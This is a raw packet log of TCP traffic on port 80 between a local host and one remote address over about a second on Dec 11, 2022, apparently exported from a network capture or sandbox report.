Dec 11, 2022 09:25:53.389657974 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.389693975 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.389743090 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.402759075 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.402821064 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.402865887 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.402952909 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.402951002 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.403011084 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.408693075 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.409800053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.409863949 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.409909964 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.409954071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.409981012 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.410001993 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410032988 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.410046101 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410092115 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410099983 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.410135984 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410181046 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410198927 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.410226107 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410269976 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410278082 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.410315037 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410358906 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410362959 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.410403967 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410449028 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410455942 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.410495043 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410537958 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410546064 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.410582066 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410624981 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410635948 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.410671949 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410733938 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410741091 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.410778999 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410823107 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410831928 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.410896063 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410929918 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.410950899 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.410975933 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411020994 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411026001 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.411066055 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411112070 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411124945 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.411155939 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411199093 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411211014 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.411241055 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411283970 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411292076 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.411326885 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411369085 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411376953 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.411412954 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411457062 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411475897 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.411499977 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411541939 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411556959 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.411598921 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411648989 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411658049 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.411693096 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411736965 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411772966 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.411778927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411823034 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411834002 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.411866903 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411909103 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411921978 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.411952972 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.411998034 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412000895 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.412040949 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412084103 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412096977 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.412127018 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412169933 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412179947 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.412210941 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412254095 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412266970 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.412301064 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412343979 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412357092 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.412386894 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412431955 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412435055 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.412482023 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412504911 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412542105 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.412548065 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412590981 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412610054 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.412633896 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412677050 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412707090 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.412719965 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412765026 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412772894 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.412811995 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412853956 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412862062 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.412897110 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412938118 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.412949085 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.412993908 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413033962 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413048029 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.413078070 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413120985 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413137913 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.413162947 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413206100 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413214922 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.413249016 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413290024 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413305998 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.413333893 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413384914 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.413388014 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413414955 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413458109 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413467884 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.413500071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413543940 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413554907 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.413588047 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413634062 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413650990 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.413676023 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413717985 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413729906 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.413762093 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413805962 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413816929 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.413845062 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413871050 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413898945 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.413913965 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.413958073 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.414004087 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.414019108 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.414058924 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.429049969 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429116964 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429162025 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429207087 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429236889 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.429250002 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429291964 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.429294109 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429341078 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429352999 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.429383993 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429418087 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429452896 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429496050 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429536104 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.429539919 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429554939 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.429584026 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429606915 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.429626942 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429668903 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429678917 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.429713011 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429758072 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429800034 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429843903 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429842949 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.429869890 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.429902077 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429944038 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.429990053 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430022001 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430036068 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.430036068 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.430064917 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430108070 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430123091 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.430150986 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430193901 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430207014 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.430238962 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430280924 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430294037 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.430324078 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430366993 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430375099 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.430408955 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430453062 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430459976 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.430511951 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430557013 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430566072 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.430600882 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430644035 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430653095 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.430700064 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430743933 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430756092 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.430788994 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430839062 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430841923 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.430910110 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430953026 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.430965900 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.430999994 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431044102 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431061029 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.431092978 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431135893 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431144953 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.431180000 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431222916 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431236982 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.431266069 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431313038 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431319952 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.431356907 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431401968 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431411982 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.431444883 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431488991 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431499004 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.431534052 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431576014 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431617022 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.431617975 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431662083 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431670904 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.431704998 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431749105 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431772947 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.431792974 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431843996 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.431845903 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431880951 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431924105 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.431931973 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.431967974 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432013988 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432024956 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.432068110 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432111979 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432126045 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.432157993 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432200909 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432213068 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.432235956 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432279110 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432291985 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.432323933 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432373047 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432378054 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.432416916 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432466984 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432478905 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.432519913 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432562113 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432601929 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.432610989 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432657957 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432703972 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432709932 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.432745934 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432758093 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.432790041 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432832003 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432857990 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.432877064 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432914972 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432934999 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.432945967 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.432992935 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433015108 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.433037043 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433079004 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433098078 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.433121920 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433170080 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433182001 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.433212996 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433255911 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433276892 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.433299065 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433343887 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433357954 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.433391094 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433449030 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433465004 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.433495045 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433525085 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433549881 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433552027 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.433595896 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433608055 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.433645964 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433690071 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433701992 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.433733940 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433780909 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433808088 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.433830023 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433876038 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.433883905 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.433940887 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434000015 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.434007883 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434070110 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434124947 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434134960 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.434175014 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434205055 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434248924 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434293032 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.434309959 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434324026 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.434415102 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434439898 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434473038 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.434488058 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434531927 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434542894 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.434581995 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434628963 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434638023 CET	49719	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:53.434676886 CET	80	49719	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:53.434720039 CET	80	49719	131.188.40.189	192.168.2.3
